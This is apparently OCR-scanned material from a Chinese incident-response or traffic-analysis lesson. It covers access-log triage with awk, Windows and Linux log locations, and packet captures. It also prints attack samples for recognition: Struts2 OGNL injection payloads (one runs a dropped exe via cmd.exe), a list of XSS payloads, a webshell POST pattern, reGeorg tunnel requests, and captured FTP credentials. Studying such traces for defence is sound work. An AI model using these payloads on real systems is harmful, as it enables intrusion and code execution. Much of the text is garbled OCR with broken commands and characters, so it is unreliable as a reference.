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* lISEE&
a) BRIAETEALE: Windows: C:/WINDOWS/system32/LogFiles
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"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
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10.86.17.7 - - [15/Mar/2022:16:24:35 +0800] *GET /sqlib/sqlib HTTP/1.1* 301 238 *-* "Moxzilla/5.0 (Windows
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.54 Safari/537.36
(15/Mar/2022:16:24:35 +0800] *BET /sqlib/sqlib/ HTTP/1.11403 2208 *-* *Morzilla/5.0 (Windows
NT70.0; Win647 XG4 App 53736 [KHTVIL, Tike Geeka) T 0.4606.54 Safari/537.36"
86.17.7 - - [15/Mar/2022:16:25:07 +0800] *GET /sqlib/sqlib/sglilabs/Less-1/index.php HTTP/1.1° 200 557
* *Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
hrome/94.0.4606.54 Safari/537.36"
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cat access.log | awk '$5>="[28/Jun/2019:01:16:59" &&$5<="[28/Jun/2019:01:18:59" {print $5}'
BEREERBNET
cat access.log | awk ‘{print $10}' |grep /mobile/static/ |sort|uniq -c|sort - rn|more
o X175 18] 0 R AR 7SR e it

cat access.log |awk ‘{print $9}' |sort|uniq -c|sort -rn|more

host wwwlogs]# cat access.log |awk '{print $9}' |sort|uniq -clsort -rn|more
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[E security.evix - ]
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WindowsE#1H &7

v NAEFAES —BIENNERRARNEAERF, F=RFRNBETRGHYARFMRERBECE
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& Application.evtx
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& Intel-GFX-Info%4System.evtx
i Intemet Explorer.evix
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63 FHLHEM

I
L 6.4 H B X R FRAE

465 AE Tk

wH we EEME Q mowaes
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sLinux HEERG S

# % acces AtHIRES IP: cat acc awk ‘{print $1}
# accesslog HEHI IP R cat og | awk ‘{print $1)| sortluniq -clsort -sn:
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S

COMMAND

systemd
kthreadd
kworker/0: 0H
ksoftirqd/0
migration/0
rcu_bh
rcu_sched
Tru-add-drain
watchdog/0
kdevtmpfs
netns

coococoococcoowHE
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nuuuILLVLYYL LVl
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EERAFAZOLHA

*awk -F: ‘length($2)==0 {print $1}' /etc/shadow
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EERGHMANER. XN, ERFEL | B o e Ao
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#_memberAccess=@ognl.ognlContext@EFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.
ServletActionContext@getResponse().getwriter(), #res.print('RTbZWwnwBUd1seupNYQjf"),#res.flush
(),#res.close()

/?redirect:${%23w} v om.opensymphony . xwork2.dispatcher.
HttpservletResponse').getwr ) w.println( ' SgEyRprkLcMdtnsTICve '), %23w. Flush(),%23w.
close()}
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(#_memberAccess? (#_member =#dm) :
((#containe wtext[ *com ymphony . xwork?

D
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%systemRoot%/ Temp/aodag wrjrlmi5341.exe & cmd.exe /c %SystemRoot%/Temp/
aodagutnzwrjrlm15341.
n=(@java.lang.System@getProperty(‘'os.name").
ontains('win'))).
swin?{'cmd.exe’,"/c',#cmd}: {
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</script>"> <script>prompt(1)</script>">

<img src=x onerror=prompt(1)>">
<svg/onload=prompt(1)>">
<iframe/src=javascript:prompt(1)>">

<h1 onclick=prompt(1)>Clickme</h1>">
<a href=javascript:prompt(1)>Clickme</a>">
<textarea autofocus onfocus=prompt(1)>
<DEFANGED_SCRIPT>alert(document.domain)</DEFANGED_SCRIPT>
onload=window.open("http://www.google.com")
|<script>aIert(“XSS")<%2Fscript>'-alert(123)—
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base64 decode($_POST[z0]))i§X T payloadi#{TBase64f#13, M AR EIARIE T
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 IKIBRHE E—P3RENAY16 (UBEHFRFERIEA AES N key MNEHEMIERAS

(GET /1. jsp7pass=717 HTTP/1.1 |

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) Applew
Version/5.1 Safari/534.50

Host: 172.16.171,206:8080

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*

HTTP/1.1 200

Set-Cookie: JSESSIONID=6A3ACAECAC5@4C96A690EBA476A1462
Content-Type: text/html;charset=IS0-8859-1
Content-Length: 16

Date: Tue, 28 Apr 2020 07:32:13 GMT
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v FTP EEMIXAHERNY, AFESREANIERESR, MREHEt

PR

fto

No. Time Source
28 14.970349 172.16.171.1
29 14.970949 172.16.171.191
31 14.971143 172.16.171.191
33 14.971673 172.16.171.1
34 14.972674 172.16.171.191
36 14.972911 172.16.171.1

37 14.973174

.16.171.
1.

39 14.973348
40 14.973591
42 14.973752
43 14.974020
14.974263
46 14.974604
48 14.974903
49 14.975156
66 17.983409

.16.171.1
1w

FEE. S

e
Destination Protocal  ~ Info

172.16.171.191 FTP Request: USER test

172.16.171.1 FTP Response: 220-FileZilla Server 0.9.60 beta
172.16.171.1 FTP Response: 331 Password required for test
172.16.171.191 FTP Request: PASS test123

172.16.171 FTP s

172.16.171.191 FTP

172.16.171 FTP

172.16.171.191 FTP

172.16.171.1 FTP Resp 7 “/ is current directory.
172.16.171.191 » FTP Requ

172.16.171.1 FTP Resp 200 Type set to I

172.16.171.191 FTP Requ wo /

172.16.171.1 FTP Resp 250 CWD successful. /" is current director
172.16.171.191 FTP Requ PORT 127,0,0,1,247,219

172.16.171.1 FTP Resp 421 Rejected command, requested IP address
172.16.171.191 FTP

=

=08

w®IUARER

IHT-reGeorg

v reGeorg:Z2HEBINE
reGeorgRIEiEFKITIE :

1 REHAREEEBINEX -
- connect ##F1EKIRE, B
R ip inC#RAEFAE header LA
B uri query e

jsp. php EXH4ET web M socks{IERI TR

[POST http://172.16. 171, 206:8086/ tumneL. jsp7cnd=connectitarget=172. 16. 171, 2066port=8080 HTTP/1.1]
Host: 172,16.171,206:8080

Accept-Encoding: identity

Content-Length: 0

X-CD: CONNECT

X-TARGET: 172.16.171,206

X-PORT: 8080

HTTP/1.1 200

Set-Cookie: JSESSIONID=B253667438003A11C06203FB2808A436; Path=/; Httplnly
X-STATUS: 0K

Content-Type: text/htal

Content-Length: @

Date: Tue, 28 Apr 2020 09:32:37 GMT
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« 257: @& pathname, RE:M4EIERE/

36 14.972911 172

71,191 FTP Request: ISYST
37 14.973174 172,16.171,191 172,16.171.1 FTP Response: 215 UNIX emulated by FileZilla
39 14.973348 172.16.171.1 172.16.171,191 FTP Request: [PD ]
40 14.973591 172.16.171.191 172.16.171.1 FTP Response: ZST_]/ is current directory.
42 14.973752 172.16.171.1 172.16.171.191 FTP Request: TYPE I
43 14.974020 172.16.171.191 172.16.171.1 FTP Response: 200 Type set to I
45 14.974263 172.16.171.1 172.16,171.191 FTP Request: CWD /
46 14.974604 172.16.171.191 172,16.171.1 FTP Response: 250 (WD successful. “/* is current ¢

® WISORE 4T -FTP

v FTP {JiRBRIES- CWD, EFIRAIX CWD 15<, IRS=RAINIE, REI250 R

3 Response: 227 Entering Passive Mode (172,16,171
.171.191 FP Request: LIST

.171.1 FTP Response: 150 Opening data channel for directon
.171.1 FTP-DATA FTP Data: 115 bytes (PASV) (LIST)

.171.1 FTP Response: 226 Successfully transferred “/logs"

.171.191 FTP Request: CWD /history/

.171.1 FTP Response: 250 CWD successful. “/history” is curi
.171.191 P Request: PASV

.171.1 FTP Response: 227 Entering Passive Mode (172,16,171
.171.191 FTP Request: LIST

.171.1 P Response: 150 Opening data channel for director
.171.1 FTP-DATA FTP Data: 720 bytes (PASV) (LIST)

.171.1 FTP Response: 226 Successfully transferred “/histor;

171,191 FTP Request: CWD /custerr/
Frame 170: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface @

Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Vmware_c2:00:2d (00:0c:29:¢2:00:2d)

Internet Protocol Version 4, Src: 172.16.171.1, Dst: 172.16.171.191

Transmission Control Protocol, Src Port: 63460, Dst Port: 21, Seq: 115, Ack: 868, Len: 12
File Transfer Protocol (FTP)
v CWD /logs/\r
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Accept-Encoding: gz
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POST /upload_to_local HTTP/1.1 HTTP/1.0 201 CREATED
User-Ags Intel Mac 0S X 10.15; rv:60.0) Gecko/20100101 F 66 Type: application
Accept: te xml ,application/xm 0.8 Content-Length: 77
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tis
No. Time Source Destination Protocol
270 1.875834 192.168.5.3 39.108.231.8 TLSv1.2
289 1.965759 39.108.231.8 192.168.5.3 TLSV1.2
290 1.965986 39.108.231.8 192.168.5.3 TLSv1.2
292 1.966466 192.168.5.3 39.108.231.8 TLSV1.2
445 3.434860 192.168.5.3 52.206.115.45 TLSV1.2
459 3.813403 52.206.115.45 192.168.5.3 TLSV1.2
952 6.753499 52.206.115.45 192.168.5.3 TLSV1.2
954 6.776028 192.168.5.3 52.206.115.45 TLSV1.2
955 6.776083 192.168.5.3 52.206.115.45 TLSV1.2
956 6.776348 192.168.5.3 52.206.115.45 TLSV1.2
958 6.776349 192.168.5.3 52.206.115.45 TLSV1.2
991 7.147724 52.206.115.45 192.168.5.3 TLSV1.2
995 7.147833 52.206.115.45 192.168.5.3 TLSV1.2
999 7.149735 192.168.5.3 52.206.115.45 TLSV1.2
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